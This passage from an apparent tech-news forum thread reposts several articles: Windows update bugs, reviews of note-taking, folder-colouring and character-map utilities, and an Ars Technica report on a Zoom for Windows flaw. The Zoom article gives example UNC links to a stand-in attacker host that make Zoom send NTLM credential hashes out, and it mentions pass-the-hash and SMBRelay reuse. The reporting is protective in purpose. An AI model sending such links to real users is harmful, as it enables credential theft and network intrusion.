the race conditions, but I do know lots of people have complained about deleted data files when, in all likelihood, they’re sitting at the bottom of an obscure backup profile. I’ve even heard from someone who upgraded from Win10 1903 to version 1909 and hit the same problem. The right people at Microsoft know all about the problem, but nobody has acknowledged it or confirmed it. The best solution is to re-boot all the way through log in four or five times and, if that doesn’t work, try to retrieve your wayward profile using an enormously complex series of steps outlined by Shawn Brink on Tenforums. Installation problems and blue screens Every month we see Win10 cumulative update installation problems – the installer runs for a while, hiccups, then rolls back the cumulative update. This month there have been more than the usual number of reports, at least in my experience. We also frequently see one-off bluescreens after installing the latest cumulative update. It’s hard to tell whether the bluescreen is actually caused by the patch, or if it’s just serendipity in reverse. Usually, sooner or later, a pattern emerges – a specific hardware combination, or driver, or other software conflict – and it becomes clear who should avoid trying to install the cumulative update. This month, though, I’ll be hanged if I can see a pattern. Microsoft really wants to know about the bugs you hit Surprisingly, uniquely, and much to its credit, Microsoft issued a call for help with the latest outstanding bugs: “We have seen social media reports related to KB4549951 [the April Win10 version 1903 and 1909 cumulative update] that mention Bluetooth, stop error with blue screen and other related issues… To date, we have not seen these issues reflected in telemetry, support data or customer feedback channels. We continuously investigate all customer feedback and are closely monitoring this situation. Note If you experience any issues we'd like to know. Please provide feedback using the keyboard shortcut Windows + F or go to the Start menu and select Feedback Hub so that we can investigate.” Of course, reports of the problems have peppered the Microsoft Answers Forum, the Windows Feedback Hub, the official Windows 10 cumulative update thread on Reddit, and in dozens (or more) online articles and blogs. Still, it’s nice of them to ask. Microsoft I was recently informed that, if you want to report a cumulative update bug in the Feedback Hub, you should NOT necessarily put it in the Install and Update category (screenshot). The Install and Update category is reserved for problems with the update installer itself. For example, install failures would go in the Install and Update category – but “missing” data and bogus temporary profiles would, presumably, go under Desktop Environment, even if the problem’s clearly linked to a specific update. Likewise, presumably, cumulative update-induced reboot bluescreens would go in… some other category. You get to choose which one. Sporadic problems connecting to v4 printers Susan Bradley is following a handful of complaints about the latest Win10 version 1903 and 1909 cumulative update breaking access to shared printers. It appears that the cumulative update knocks out some shared printers using the v4 Printer Driver. We still don’t know whether the problem lies with the cumulative update, the driver, Group Policy settings, or the phase of the moon. Two official Microsoft support cases have yielded zero useful results. Not looking forward to May I’m dreading May. Microsoft seems hell-bent on releasing Win10 version 2004 in May. Computerworld’s Gregg Keizer and I have both strongly recommended that it hold off until we aren’t in the middle of coping with a massive shift to Work-from-Home. I’m seeing more and more reports of problems with the version of Win10 2004 that’s currently available to Windows Insiders. Gene Morgan, for example, wrote to tell me: “I’m an Insider and installed the Pre-Release offering which is usually equal to what will soon be unleashed into the wild and previous such updates worked with no issues. After the installation and the numerous reboots involved, the desktop appeared and all seemed well until I went to open Outlook 365. Click on It and nothing happens. Try to open Word 365, frame comes up but nothing you can work with. Try to open Adobe Acrobat DC, won’t open. Try to open the new Edge Browser, ditto. Open Google Chrome, the frame and tabs come up but after 45 minutes, there was nothing in any of the tabs. Hard Drive light is on continuously – not even flashing, solid on. I rebooted, thinking something may not have loaded properly. Nothing resolved. Hard Drive light on continuously as before. Thinking “well maybe there’s just a lot of cleanup that needs to be done after the install” I left the machine to its own devices overnight. Next morning, no programs will open as before. Annoyed, restored my PC to v. 1903 and everything works like lightning.” For every botched upgrade I’m sure there will be dozens of clean ones. But why kick the dog? The list of new features in Win10 version 2004 seems even less compelling than any Windows version upgrade, ever. That’s quite an accomplishment. Microsoft should re-examine its motives, in light of the current state of computing. Keep us stable, folks. We’ll keep pushing on AskWoody.com. Source: Microsoft Patch Alert: April 2020, another 'wacky' month (Computerworld - Woody Leonhard)
  18. TreeLine is an open source PIM for Windows and Linux You have a lot of choices for note taking apps to choose from, just refer to our reviews of Elephant, tomboy-ng, or Joplin. But if I had to choose one of the more complex ones, it has to be TreeLine. It's not right to name it a note taking app, it's more of a database program that you can use as a PIM (personal information manager). There are three panes, a menu bar and a toolbar in TreeLine's interface. The program can be used to store data in plain text, rich text, HTML, images etc. If you want to start a new notebook, click on the File menu > New File option to select a template for your note. You may choose from Single line text, Long text, Contact list, Book list and ToDo lists. We'll be using the default notebook in the next section. For now, click on File > New and select Long text. You'll see a node called "Parent" on the left side bar. This is your primary node or "root folder" if you will. It has a sub-node labeled "Child". Right-click on the node to bring up the context menu. Use it to rename, reorder, indent the nodes. There are three tabs at the bottom of the right pane. The default view is the "Data Output" tab, switch to the 2nd one "Data Edit". This is the Data Editor in TreeLine. It has a few boxes. The one at the top is the name or heading box, while the large one below it is the text box where you will store your notes. I've given them new names and typed something in the text boxes. This is my first note. If we go back to the Data Output tab, we will see the content that we saved earlier, but we can't edit them on this tab. The Title list tab displays the heading of each child node. Speaking of which, you can add as many nodes as you want in the side-bar. They can be either a sibling (stored under the same parent node) or a child. To save new content, simply add a new node and edit them. It's easy. Configuring Data Types manually TreeLine's true strength lies in data types. These are values that you'll have to manually configure. The default notebook starts blank, as in it has no entries. Right-click on the word "Main" in the Tree View (left side-bar) to view the context menu. Select "Add Child", and a new Node will be created. Give it a name. You'll have to set up the template of the nodes before you can use the notebook. For e.g. to store plain text, you have to configure a title field and a text field, for images you'll need to set another data type, and so on. Click on the Data menu, and select "Configure Data Types" option. There are 5 tabs here. The first tab is Type List, you can set various data types here (plain text, html, etc). TreeLine always has a "DEFAULT" type, we'll use it in this example. Switch to the next tab, "Type Config" there are options to add blank lines between nodes, enable HTML rich text format, bullets, and table fields. It already has a field "Name", and its type is "Text". This is the one that we saw earlier in the Data Editor, which we'll use for adding titles. You may change the icon of the new node from this tab. The third tab is "Field List". Click on the "New Field" button on the right. Since we want to store text content, we'll name it as "Plain_Text". The program always sets the type of new fields to Text, if you want to change this, use the "Field Config" tab. For now though, let's leave it be. Go to the Output tab, and set the output format to {*Plain_Text*}. The Title format has the value {*Name*}, which can be left unmodified. Select Apply and then the OK button to close the "Configure Data Types" window. Whew! That was a bit difficult, wasn't it? Let me explain what we did here. We created a new text box called "Plain_Text" that we can use for saving notes, and we also had to set TreeLine to display the note in the output viewer. Usage Head back to the Data Editor window, and you'll see that there is a new field called text. You can now use it to store your notes. Type a title in the Name field, and your notes in the Text field. The program will display the title on the left side bar, and the contents of the note in the right pane. Repeat the steps to create different node data types for HTML and other content like tables, URLs, images, etc. Once you have set up a data type in a notebook, you can use it in any note that you store in it. Right-click on a node in the sidebar, use the "Set Node Type menu" to view the ones you created. Switch to it, to use the corresponding content in the node. A parent node can contain several child nodes, and each of these can be of a different type. Here are some HTML node examples which I created in TreeLine. Each of these use a different "Data type" node. Highlight some text, and use the format menu or the right-click context menu to Underline, Bold, Italic, the content. You may change the font type, color, or add URLs to the text from this menu. TreeLine isn't portable, though the installed version can be set to store its settings in its own folder. Windows binaries are available on the official website. Linux users will need to build the app from the source code. TreeLine's manual configuration has a learning curve which can be a little difficult to grasp, but it's quite rewarding. If you use one of the other options (like Long Text), it's pretty simple to use. Landing Page: https://treeline.bellz.org/index.html Source: TreeLine is an open source PIM for Windows and Linux (gHacks - Ashwin)
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  20. I Have 2 Genuine AutoCAD 2021 License. Tell me why you want it & I'll draw 2 names out from the answers. I'll announce the Giveaway results here. What is AutoCAD? AutoCAD® is computer-aided design (CAD) software that architects, engineers, and construction professionals rely on to create precise 2D and 3D drawings. Draft, annotate, and design 2D geometry and 3D models with solids, surfaces, and mesh objects Automate tasks such as comparing drawings, addings blocks, creating schedules, and more Customize with add-on apps and APIs
  21. Folder Painter is a freeware tool that lets you quickly change the color and icons of folders I remember using Folder Colorizer many years ago from a giveaway. It was a cool way to organize things around, you can set a different color for each folder. Martin reviewed a couple of freeware alternatives in the past, e.g. Rainbow Folders which he reviewed in 2007 and the free Folder Colorizer 2. Folder Painter is a good choice as well, and this review is about that application. The application is portable. Run the FolderPainter.EXE (or the 64-bit version) to start using it. The left pane in the interface lists the folder icon colors that you can select, along with a preview of the icons. The program ships with three icon packs (icon styles for folders), but there are more icon packs available on the developer's website. Or, you can add your own icons too, refer to the official page for instructions. We'll stick to the default ones here, mark the icon pack that you wish to use, and click the "Install" button to add Folder Painter to Windows Explorer's context menu. Note: This does create a registry value, so the program isn't completely portable. Apparently Windows only supports 16 items per menu, what this means is that Folder Painter's context menu can only display 1 icon pack at a time. But, there is a workaround, you can have multiple menus. For e.g. If you want to use all three of the default icon packs, you will need to select all of them and click on the install button. This will add three context menus in Explorer's shell, one for each icon pack. Won't having three menus with the same name be confusing? Yes it is weird, but you can fix this. Before clicking the install button, click in the "Context Menu Name" field, and change the name. You can set a different name for each icon pack. For e.g. Colorful Folders, 3D Icons, Stylish Icons. Once you've named the menus, click install and you will see three differently named menus. The context menu can quickly become cluttered this way, but there's a fix for this as well. Enable the option that's labeled "Use Shift Key to Display Context Menu". You will need to enable the option for each icon pack that you have selected. Click Install to apply the changes. Try right-clicking on a folder, you won't see the new context menu options. Hold shift and right-click on a folder to view the "change icon" menu. The context menu can be used to quickly open Folder Painter, if it's not running. How to change the color of a folder using Folder Painter? Right-click on a folder, select the menu that you created using Folder Painter. Select the icon that you wish to use, and you're good to go. It's as simple as that. To revert to the original icon, use the same steps, but this time select "Use default folder icon" and it will restore Windows' default icon for the folder. To delete a menu, select it from the program's interface and click the "Remove Selected Menu". Folder Painter does not have to be running in the background for the folder colors to work. What if you copy a folder to a USB drive? Will the folder colors be retained? No, and yes. The colors won't be retained by default, but if you toggle the "copy icon in folder" option, the icons are preserved across drives and computers. Basically it saves the icon's file (.ICO) inside the folder, so make sure you don't delete it. How to add new icon packs to Folder Painter? Download the icon packs from the developer, extract the archive and place each folder (Pack_04, Pack_05,.....Pack_21) in the FolderPainter\Icons directory. Open Folder Painter and click on the "Add New Menu" button, it should add the menu for Pack_04. Keep clicking the button until all your selected packs have been added. If you don't see the icons, use the Rebuild Shell Icon Cache option. It restarts Explorer's process to apply the changes. Folder Painter stores its settings in an INI file inside the Icons folder. Sure, Windows Explorer does allow you to change the folder icons, but it isn't as convenient as using a dedicated software. Folder Painter is incredibly easy to use, and allows for a lot of customization (custom icons). Landing Page: https://www.sordum.org/10124/folder-painter-v1-2/ Source: Folder Painter is a freeware tool that lets you quickly change the color and icons of folders (gHacks - Ashwin)
  22. If anyone here has used Hazel on mac, then they know what an excellent tool it is in terms of file organisation. For years I have searched for a worthy alternative on the windows front and so far nothing comes close except Belvedere. But Belvedere isn't being actively developed anymore. I tried dropit but it has such a cumbersome way to doing things, plus half the time the automated tasks just don't work. If anyone can suggest a few alternatives I would appreciate it. I am willing to test each one out to see which one works best.
  23. Browse and copy any special character with BabelMap for Windows BabelMap is a free character map application for Microsoft's Windows operating system that enables users to browser and copy any of the 144,000 special characters that it contains. The program may be useful to users who need to write special characters but don't know how to do that using other means. While there are options, e.g. using copy and paste if the desired character is found on a site or in a document, or using Alt-codes, it may be faster to use a program like BabelMap for that especially if different characters are needed regularly. Tip: we reviewed several programs with similar functionality in the past, among them WinCompose, KbdKaz 500, and Extra Keys. The trusted Character Map application that is included in Windows may also be useful. The program can be run right after its archive has been extracted to the local system. BabelMap uses tabs to sort characters into different groups. One of the issues here is that the program uses abbreviations for tab titles and that most users will probably have difficulties finding the right tab that is holding the characters that they want to use. The program supports a simple find option; all it takes is to type a character and hit F2 to locate it and look up its properties. While that is useful to look up information, it does not work if you cannot type or paste a character. The built-in advanced search may be helpful in this regard as you may use it to find characters based on their name, Unicode properties, aliases and other information. The character map displays the available characters. You may select any character and use the copy button at the bottom or Ctrl-C to copy the character to the Clipboard. The display of characters can be switched to hex, decimal, HTML, and UCN with the click the mouse to copy these instead. The application displays information when a character is selected; this includes properties and other information such as its Unicode name and encoding information. A character lookup tool is also provided for finding Han, Yi, and Tangut characters. Users who use Emoji regularly may find the Emoji editor useful as it lists all Unicode-defined Emoji and includes options to copy them just like any other character displayed by the application. The program supports a bookmarking system to access information more quickly. Closing Words BabelMap is a well-designed application to look-up, browse, and copy special characters. While it may be overkill for Windows users who need to copy one or two characters per year, it could be very useful to users who need the functionality regularly. Landing Page: https://www.babelstone.co.uk/Software/BabelMap.html Source: Browse and copy any special character with BabelMap for Windows (gHacks - Martin Brinkmann)
  24. Attackers can use Zoom to steal users’ Windows credentials with no warning Zoom for Windows converts network locations into clickable links. What could go wrong? Enlarge Christopher Blizzard 44 with 32 posters participating Users of Zoom for Windows beware: the widely used software has a vulnerability that allows attackers to steal your operating system credentials, researchers said. Discovery of the currently unpatched vulnerability comes as Zoom usage has soared in the wake of the coronavirus pandemic. With massive numbers of people working from home, they rely on Zoom to connect with co-workers, customers, and partners. Many of these home users are connecting to sensitive work networks through temporary or improvised means that don’t have the benefit of enterprise-grade firewalls found on-premises. Embed network location here Attacks work by using the Zoom chat window to send targets a string of text that represents the network location on the Windows device they’re using. The Zoom app for Windows automatically converts these so-called universal naming convention strings—such as //attacker.example.com/C$—into clickable links. In the event that targets click on those links on networks that aren’t fully locked down, Zoom will send the Windows usernames and the corresponding NTLM hashes to the address contained in the link. Attackers can then use the credentials to access shared network resources, such as Outlook servers and storage devices. Typically, resources on a Windows network will accept the NTLM hash when authenticating a device. That leaves the networks open to so-called pass-the-hash attacks that don’t require a cracking technique to convert the hash to its corresponding plain-text password. “It’s quite a shortcoming from Zoom,” Matthew Hickey, cofounder of the security boutique Hacker House, told me. “It’s a very trivial bug. With more of us working from home now, it’s even easier to exploit that bug.” The vulnerability was first described last week by a researcher who uses the Twitter handle @_g0dmode. He wrote: “#Zoom chat allows you to post links such as \\x.x.x.x\xyz to attempt to capture Net-NTLM hashes if clicked by other users. On Tuesday, Hickey expanded on the discovery. He showed in one tweet how the Zoom Windows client exposed the credentials that could be used to access restricted parts of a Windows network. “Hi @zoom_us & @NCSC,” Hickey wrote. “Here is an example of exploiting the Zoom Windows client using UNC path injection to expose credentials for use in SMBRelay attacks. The screen shot below shows an example UNC path link and the credentials being exposed (redacted).” The screenshot shows the Windows username as Bluemoon/HackerFantastic. Immediately below, the NTLM hash appears, although Hickey redacted most of it in the image he posted. Attacks can be mounted by people posing as a legitimate meeting participant or during so-called Zoom bombing raids, in which trolls access a meeting not secured by a password and bombard everyone else with offensive or harassing images. Protect yourself While the attack works only against Windows users, Hickey said attacks can be launched using any form of Zoom, again, by sending targets a UNC location in a text message. When Windows users click on the link while they’re connected to certain unsecured machines or networks, the Zoom app will send the credentials over port 445, which is used to transmit traffic related to Windows SMB and Active Directory services. In the event that port 445 is closed to the Internet—either by a device or network firewall or through an ISP that blocks it—the attack won’t work. But it’s hardly a given that this egress will be closed on many Zoom users’ networks. The events of the past month have left millions of people working from home without the same levels of IT and security support they get when working on premises. That makes it more likely that port 445 is open, either because of an oversight or because the port is needed to connect to enterprise resources. Zoom representatives didn’t respond to an email sent on Tuesday seeking comment for this post. This post will be updated if a reply comes later. In the meantime, Windows users should be highly suspicious of chat messages that contain links in them. When possible, users should also ensure that port 445 is either blocked or can access only trusted addresses on the Internet. Source: Attackers can use Zoom to steal users’ Windows credentials with no warning (Ars Technica)
  25. Facebook launches new Messenger app for Windows and macOS During the F8 developer conference last year, Facebook promised to bring a new Messenger app to desktop devices, both on macOS and Windows 10. The Windows 10 version of the app has been in public beta testing for some time, and the macOS variant was spotted in some regions last month, but today, the new Messenger is officially available on both platforms. The goal of the new app is to bring over most of the features of the mobile Messenger apps, and wrap them in a package that looks and feels more native to each platform. The previous Windows 10 app was based on an old version of the iOS app, and the design was somewhat out of place on Windows. [Video here ... ] https://www.facebook.com/watch/?v=237772287272154 The new app does pretty much what you'd expect it to do, including group video calls and, of course, message syncing across devices. It also supports dark mode, which only made its way to the mobile apps somewhat recently. If you're interested, you can download the new Messenger app from the Microsoft Store or the Mac App Store, depending on your platform of choice. Source: Facebook launches new Messenger app for Windows and macOS (Neowin)
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